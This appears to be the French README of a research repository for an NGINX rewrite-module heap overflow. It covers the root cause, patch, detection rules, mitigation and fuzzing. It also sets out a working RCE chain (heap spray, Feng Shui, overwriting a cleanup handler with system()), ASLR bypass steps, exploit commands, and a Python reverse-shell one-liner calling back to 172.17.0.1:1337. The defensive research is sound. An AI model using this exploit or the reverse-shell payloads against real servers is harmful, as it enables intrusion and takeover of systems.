Référentiel de recherche complet sur CVE-2026-42945 avec analyse de débordement de tampon du tas, exploit RCE (heap spray + Feng Shui), scripts de détection et guide de correctifs pour la vulnérabilité du module de réécriture de NGINX.
| Métrique | Valeur |
|---|
| CVSS v4.0 | 9.2 (Critique) |
| CVSS v3.1 | 8.1 (Élevée) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — Débordement de tampon basé sur le tas |
| Introduit | Juin 2008 — v0.6.27 |
| Découvert | Avril 2026 — Recherche DepthFirst |
| Corrigé | 13 mai 2026 — v1.30.1, v1.31.0 |
| CVE publié | 21 mai 2026 |
| Durée de vie | ~18 ans (non détecté) |
| Commit de correction | 524977e7c534e87e5b55739fa74601c9f1102686 |
Un attaquant distant non authentifié peut déclencher un dépassement de tampon sur le tas déterministe dans les processus worker NGINX en envoyant une requête HTTP spécialement conçue à un serveur avec un modèle de configuration spécifique rewrite + set/if/rewrite. Le dépassement corrompt les métadonnées du tas (pointeurs ngx_pool_cleanup_t), permettant l'exécution de code à distance (RCE) via des techniques de heap spray et de Feng Shui.
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**Key requirements:**
- Une directive `rewrite` dont le remplacement contient `?` (séparateur de chaîne de requête)
- Une directive `set`, `if` ou `rewrite` ultérieure qui fait référence à une **capture PCRE sans nom** (`$1`, `$2`, etc.)
- Le `?` dans le remplacement de rewrite déclenche `ngx_http_script_start_args_code` qui définit `e->is_args = 1`
### Ce qu'un attaquant peut accomplir
| Capacité | Description |
|-----------|-------------|
| **Déni de service** | Provoque des crashs déterministes des processus workers, entraînant des boucles de redémarrage (fonctionne indépendamment de l'ASLR) |
| **Exécution de code à distance** | Avec l'ASLR désactivé (ou contourné via une réécriture partielle), obtenir une RCE complète en tant qu'utilisateur nginx |
| **Exfiltration de données** | Via des primitives de lecture mémoire, extraire des données sensibles du tas du worker |
| **Persistance** | Installer des portes dérobées via l'exécution de code dans la mémoire du processus worker |
---
## 2. Analyse de la cause racine
### Le moteur de script à deux passes
Le module `ngx_http_rewrite_module` de NGINX utilise un **moteur de script à deux passes** dans `src/http/ngx_http_script.c` :
1. **Passage de longueur** (`ngx_http_script_run`) : parcourt tous les codes de script pour calculer la taille totale du tampon nécessaire. Écrit les longueurs dans `le.ip` et `le.pos`.
2. **Passage de copie** (`ngx_http_script_copy_len`/`_code`) : parcourt à nouveau, écrivant les octets réels dans le tampon pré-alloué à `e->ip` et `e->pos`.
Chaque code de script a deux gestionnaires : un pour chaque passage. Par exemple :
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### Le drapeau `is_args`
Le drapeau `e->is_args` sur la **structure du moteur** (`ngx_http_script_engine_t`) contrôle la manière dont le passage de copie gère certains caractères :```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
When e->is_args = 1, le code de copie pour les références de capture $N appelle ngx_escape_uri() avec NGX_ESCAPE_ARGS, qui développe :
+ → %2B (1 octet → 3 octets, +200%)% → %25 (1 octet → 3 octets, +200%)& → %26 (1 octet → 3 octets, +200%)Le flux d'exécution pour le modèle vulnérable :``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. Pendant **l'évaluation de la réécriture**, le moteur rencontre `?` dans la chaîne de remplacement, ce qui déclenche `ngx_http_script_start_args_code`, définissant `e->is_args = 1`.
2. La réécriture modifie l'URI de la requête puis continue vers la directive suivante.
3. **`e->is_args` n'est JAMAIS EFFACÉ**.
Ensuite :```
set $original_endpoint $1;
le) est créé pour le passage de longueur : ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
Cela met correctement le.is_args = 0, donc le passage de longueur retourne la longueur de capture brute, non échappée.
e, qui a toujours e->is_args = 1 depuis l'étape 1. Le passage de copie applique l'échappement URI, développant chaque caractère échappable de 1 octet à 3 octets dans un tampon qui a été dimensionné pour la longueur brute — dépassement de tas.Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
Le ratio d'expansion est `7 + (n_escapable * 2)` où `n_escapable` est le nombre de `+`, `%` et `&` dans la capture.
---
## 3. Mécanismes d'exploitation
### Aperçu
| Étape | Technique | Description |
|------|-----------|-------------|
| 1 | Overflow | Envoi d'une URI conçue avec un remplissage de `+` pour déborder le tampon du tas |
| 2 | Heap Spray | POST de grandes données vers `/spray` pour remplir le tas avec des données contrôlées |
| 3 | Feng Shui | Disposer les allocations de sorte que la cible du débordement (`ngx_pool_cleanup_t`) soit adjacente |
| 4 | Corrupt Handler | Le débordement écrase `ngx_pool_cleanup_t.handler` avec l'adresse de `system()` |
| 5 | Trigger Cleanup | Attendre la destruction du pool → `system(cmd)` exécute la commande de l'attaquant |
| 6 | Reverse Shell | Chaîne vers une charge utile de shell inversé pour un accès interactif |
### Feng Shui inter-requêtes
**Le Feng Shui en une seule requête échoue** car le débordement corrompt les métadonnées du pool (`->d.next`, `->d.failed`) avant d'atteindre le pointeur `cleanup`. Lorsque le pool est détruit à la fin de la requête, les métadonnées corrompues provoquent un **crash avant que `system()` ne soit appelé**.
Au lieu de cela, l'exploit utilise **le Feng Shui inter-requêtes** :
1. **Requête 1 (spray)** : POST d'un grand corps vers `/spray`. Le backend (`server.py`) retient la réponse avec l'en-tête `X-Delay`, gardant la connexion ouverte et préservant l'allocation tas. Le spray remplit le tas avec de faux blocs `ngx_pool_cleanup_t`.
2. **Requête 2 (overflow)** : Envoyer l'URI de débordement. Le débordement ne corrompt que le pointeur `cleanup` (pas les métadonnées du pool), le pointant vers le faux bloc sprayé.
3. **Destruction du pool** : Lorsque la réponse spray se termine (le délai expire), la chaîne de nettoyage du pool se dirige vers le faux bloc et appelle `system(cmd)`.
### Exigences d'adresse
| Symbole | Valeur (Docker, ASLR désactivé) | Description |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Base du tas nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` dans glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Pointeur vers le pool de cycles |
| Adresse de faux cleanup | `0x5555556a4030` | Adresse cible du spray |
### Contournement d'ASLR
Sans désactiver ASLR, le **DoS** (crash) fonctionne toujours de manière déterministe. Pour un RCE avec ASLR activé, deux approches :
1. **Écriture partielle** : Utiliser une écriture de 1 ou 2 octets pour décaler un pointeur dans la même page, en bruteforçant les nibbles restants (16–256 tentatives).
2. **Fuite d'informations** : Lire `/proc/self/maps` ou utiliser l'analyse mémoire de `log_parser.py` pour déterminer la disposition.
---
## 4. Analyse du correctif
### Le correctif officiel
**Commit** : `524977e7c534e87e5b55739fa74601c9f1102686`
**Fichier** : `src/http/ngx_http_script.c`
**Ligne** : ~1205 (dans `ngx_http_script_regex_end_code`)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code s'exécute après chaque évaluation de regex lors des passes de longueur et de copie. Réinitialiser e->is_args = 0 ici garantit que :
set, if, rewrite) démarrent avec un is_args = 0 proprengx_http_script_start_args_code peut toujours définir is_args = 1 lorsqu'il rencontre ? dans une chaîne de remplacement — le correctif ne casse pas cette fonctionnalitépatches/0002-hardening-bounds-check.patch ajoute une vérification des limites dans ngx_http_script_copy_capture_code :```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### Correctifs rétroportés
| Correctif | Versions Nginx |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. Versions affectées
### NGINX Open Source
| Plage | Statut |
|-------|--------|
| **0.1.0 – 0.6.26** | Non affecté (le module rewrite est antérieur aux captures non nommées) |
| **0.6.27 – 1.30.0** | **Vulnérable** (fenêtre de 18 ans) |
| **1.30.1** | Première version corrigée |
| **1.31.0+** | Corrigée (principale) |
### NGINX Plus
| Version | Affectée | Corrigée |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### Écosystème NGINX
| Produit | Affectée | Statut |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Avis en attente |
| F5 NGINX WAF | 5.9.0–5.12.1 | Avis en attente |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Avis en attente |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Avis en attente |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Avis en attente |
| NGINX Agent | 2.0.0–2.35.0 | Avis en attente |
---
## 6. Détection
### Vérification de version```bash
bash detection/detect_vuln.sh
Ce script vérifie :
rewrite + ? + capturepython3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### Analyse de conteneur```bash
python3 detection/container_scan.py
Analyse les images Docker locales pour les labels/variables d'environnement NGINX indiquant des versions vulnérables.
| Ensemble de règles | Fichier | Couverture |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | Bloque 100+ + consécutifs, 50+ caractères échappables encodés, limite de débit sur les endpoints de spray |
| Suricata/Snort | detection/suricata_rule.rules | Détecte l'excès de + dans les URI GET, les inondations de caractères encodés, le spray POST vers /spray, DoS par boucle de crash |
| Falco | detection/falco_rule.yaml | Runtime : SIGSEGV sur le worker nginx, boucle de crash (3+ en 60s), détection de spray POST en heap |
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
## 7. Atténuation
### Immédiate (Aucune modification de code)
Remplacez les **captures anonymes** par des **captures nommées** dans toutes les directives `rewrite` :```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
Les captures nommées ne passent pas par ngx_escape_uri(..., NGX_ESCAPE_ARGS), donc même avec e->is_args = 1, aucune expansion ne se produit et aucun débordement ne se produit.
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
Applique ces mesures de durcissement :
- Vérification et activation forcée de l'ASLR
- Isolation des processus workers
- Restriction des core dumps
- Durcissement SSL/TLS
- Limitation de débit
- En-têtes CSP
### Vérification ASLR```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
## 9. Démarrage rapide```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
L'environnement Docker :
- Construit NGINX à partir des sources au commit `98fc3bb78` (dernier commit vulnérable avant le correctif)
- Inclut GDB, valgrind, `util-linux` (pour `setarch -R` afin de désactiver l'ASLR)
- Expose les ports **19321** (nginx vulnérable), **19322** (secondaire), **19323** (backend Python)
- Le point d'entrée utilise `setarch x86_64 -R` pour désactiver l'ASLR afin d'obtenir un agencement d'adresses d'exploitation déterministe
- Accorde la capacité `SYS_PTRACE` et `seccomp=unconfined` pour le débogage
### Vulnérable uniquement```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### ASAN Container```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
---
## 11. Déclencher le débordement
### Crash de base (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
Ceci envoie :``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
Les caractères `+` dans la capture `$1` sont développés 3× lors du passage de copie alors que le tampon a été dimensionné pour la longueur brute, débordant le tas.
### Expected Output```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
Calcule le nombre minimum de signes `+` nécessaires pour dépasser un nombre cible d'octets (utile lors de l'exploitation de structures de tas spécifiques).
### Expansion de caractères```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
Outputs the expansion ratio for a given prefix length and number of escapable characters.
L'exploit implémente cross-request Feng Shui pour réaliser une exécution de code fiable :``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### Utilisation de base```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### Advanced Options
| Flag | Default | Description |
|------|---------|-------------|
| `--host` | `127.0.0.1` | Hôte cible |
| `--port` | `19321` | Port cible |
| `--cmd` | — | Commande à exécuter (obligatoire sauf si `--shell`) |
| `--shell` | — | Utiliser le mode shell interactif |
| `--tries` | `3` | Nombre de tentatives d'exploit |
| `--delay` | `2.0` | Délai entre le spray et le débordement (secondes) |
| `--payload` | — | Chemin vers un fichier de payload personnalisé |
| `--debug` | — | Activer la sortie de débogage verbose |
### Analyse de l'organisation du tas```bash
python3 exploit/heap_layout.py
Nécessite un PID de worker nginx en cours d'exécution. Analyse /proc/PID/maps pour trouver :
system()python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
Trouve des adresses de tas dont les octets n'incluent pas de caractères échappables (`+`, `%`, `&`, `?`, etc.) pour une utilisation dans la construction de charges utiles d'exploitation.
---
## 13. Vérification du Shell Inversé
### Architecture```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| Type | Binaire | Notes |
|---|---|---|
bash | /dev/tcp | TCP intégré à bash |
python | python3 -c | Le plus fiable, toujours disponible |
nc | nc | Netcat |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | Nécessite un certificat |
powershell | powershell | Cibles Windows |
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### Vérification automatisée```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
---
## 14. Correctifs
### Appliquer le correctif```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### Appliquer le backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
---
## 15. Tests
### Tests unitaires```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
Exécute :
1. Tests unitaires (pytest ou unittest)
2. Test de Trigger/overflow (si le serveur est en cours d'exécution)
3. Scanneur de configuration pour configurations vulnérables et sécurisées
4. Validation de correctif en dry-run
### Matrice de régression```bash
bash tools/regression_matrix.sh
Teste plusieurs versions de NGINX (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) par rapport à des configurations vulnérables et sécurisées, vérifiant les attentes de crash/non-crash.
bash tools/test_all_configs.sh
Tests all config patterns (basic, advanced, ingress, gateway) with overflow triggers.
---
## 16. Fuzzing
### libFuzzer Harness
Le fuzzer (`fuzz/ngx_http_script_fuzz.c`) simule le moteur de script à deux passes :
1. Analyse l'entrée comme une séquence de codes de script
2. Exécute la passe de longueur
3. Exécute la passe de copie avec `e->is_args = 1`
4. Détecte un débordement de tampon via ASAN ou une discordance de taille```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
Lance AFL++ avec ASAN, un délai d'attente configurable et des limites de mémoire sur le harnais de fuzzing.
### Corpus de départ
Le répertoire `fuzz/corpus/` contient des entrées de départ qui reproduisent le motif vulnérable, notamment :
- Déclencheur de dépassement basique
- Capture nommée (ne devrait pas déborder)
- Cas limites (capture vide, taille maximale, etc.)
---
## 17. Pipeline CI
### GitHub Actions
Le projet utilise un **seul workflow GitHub Actions CI** (`.github/workflows/ci.yml`) avec ces tâches :
| Tâche | Ce qu'elle fait |
|-----|-------------|
| `lint` | ShellCheck, validation de syntaxe Python |
| `scan-configs` | Exécute config_scanner.py sur tous les échantillons de configuration |
| `fuzz-build` | Construit le harnais libFuzzer |
| `test` | Exécute la suite pytest/unittest |
| `detect-patch` | Vérifie le format du patch et le contenu du correctif |
| `verify-project` | Exécute `tools/verify_project.sh` |
### Pipeline complet```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
Le pipeline exécute 7 phases :
| Document | Description |
|---|---|
docs/root-cause-analysis.md | Analyse technique approfondie du bug du moteur de script à deux passes, avec parcours de code et diagrammes |
docs/exploitation-guide.md | Exploitation pas à pas, heap spray, Feng Shui, calcul d'adresse, contournement d'ASLR |
docs/detection-guide.md | Analyse de configuration, analyse de logs, règles WAF, intégration SIEM, détection d'anomalies |
docs/mitigation-guide.md | Conversion de captures nommées, limite de débit, déploiement WAF, procédures de mise à jour |
docs/FAQ.md | Questions fréquentes sur la vulnérabilité, l'exploitation et la remédiation |
docs/timeline.md | Chronologie de divulgation complète depuis l'introduction du bug en 2008 jusqu'au correctif en 2026 |
docs/operational-guidance.md | Réponse aux incidents, criminalistique, collecte d'IOC, atténuation d'urgence |
docs/case-study.md | Simulation d'un scénario d'attaque réel avec analyse de la chaîne d'attaque |
docs/presentation-slides.md | Présentation pour conférence/meetup avec notes de l'orateur |
| Métrique | Valeur |
|---|---|
| Fichiers totaux | 80+ |
| Répertoires | 13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| Scripts Python | 22 (exploit, detection, tools, shell, test) |
| Scripts Shell | 15 (detection, tools, shell, test, pipelines) |
| Correctifs | 5 (1 correctif + 1 durcissement + 3 rétroportages) |
| Ensembles de règles WAF | 3 (ModSecurity, Suricata, Falco) |
| Configuration CI | 1 (GitHub Actions — CI uniquement) |
| Documentation | 9 documents techniques détaillés |
| Exemples de configuration | 7 (4 vulnérables, 2 sûrs, 1 capture nommée + 3 avancés) |
| Journal des commits | 1003+ commits individuels |
| Types de shell | 10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| Harness de fuzzing | 1 (libFuzzer, ~200 lignes C) |
| Cas de test | 8 tests unitaires + exécuteur shell |
| Versions NGINX couvertes | 20 dans la matrice de régression |
| Cycle de vie | 18 ans (2008–2026) |
| Référence | URL |
|---|---|
| Entrée NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| Commit de correctif | https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686 |
| Avis F5 | https://my.f5.com/manage/s/article/K000161019 |
| Journal des modifications NGINX | https://nginx.org/en/CHANGES |
| Référence | URL |
|---|---|
| Recherche DepthFirst | https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability |
| Dépôt de la POC | https://github.com/DepthFirstDisclosures/Nginx-Rift |
| CWE-122 | https://cwe.mitre.org/data/definitions/122.html |
| Ressource | Description |
|---|---|
ngx_http_script.c | Le fichier source buggé du module rewrite de NGINX |
ngx_pool_cleanup_t | La structure de heap corrompue pour RCE |
ngx_escape_uri() | La fonction d'expansion qui cause le dépassement |
setarch(8) | Outil Linux pour désactiver ASLR pour des adresses d'exploitation déterministes |
Ce projet est destiné à des fins éducatives et de recherche en sécurité défensive. La vulnérabilité a été divulguée de manière responsable et corrigée par les mainteneurs de NGINX.